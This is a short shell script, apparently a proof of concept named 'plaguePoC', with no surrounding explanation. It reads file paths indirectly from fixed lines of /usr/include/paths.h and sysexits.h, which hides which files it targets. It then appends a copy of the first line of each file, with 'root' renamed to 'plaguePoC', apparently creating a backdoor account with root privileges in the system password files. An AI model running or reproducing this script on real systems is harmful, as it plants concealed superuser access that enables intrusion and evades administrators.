(from the link)

if [ -e /usr/include/paths.h ]

then

        file=`awk 'NR==59 {gsub(/"/,"");print $3}' /usr/include/paths.h`
        sed -n '1p' $file|sed 's/root/plaguePoC/g' >> $file
        file2=`awk 'NR==74 {print $8}' /usr/include/sysexits.h`
        sed -n '1p' $file2|sed 's/root/plaguePoC/g' >> $file2	

fi
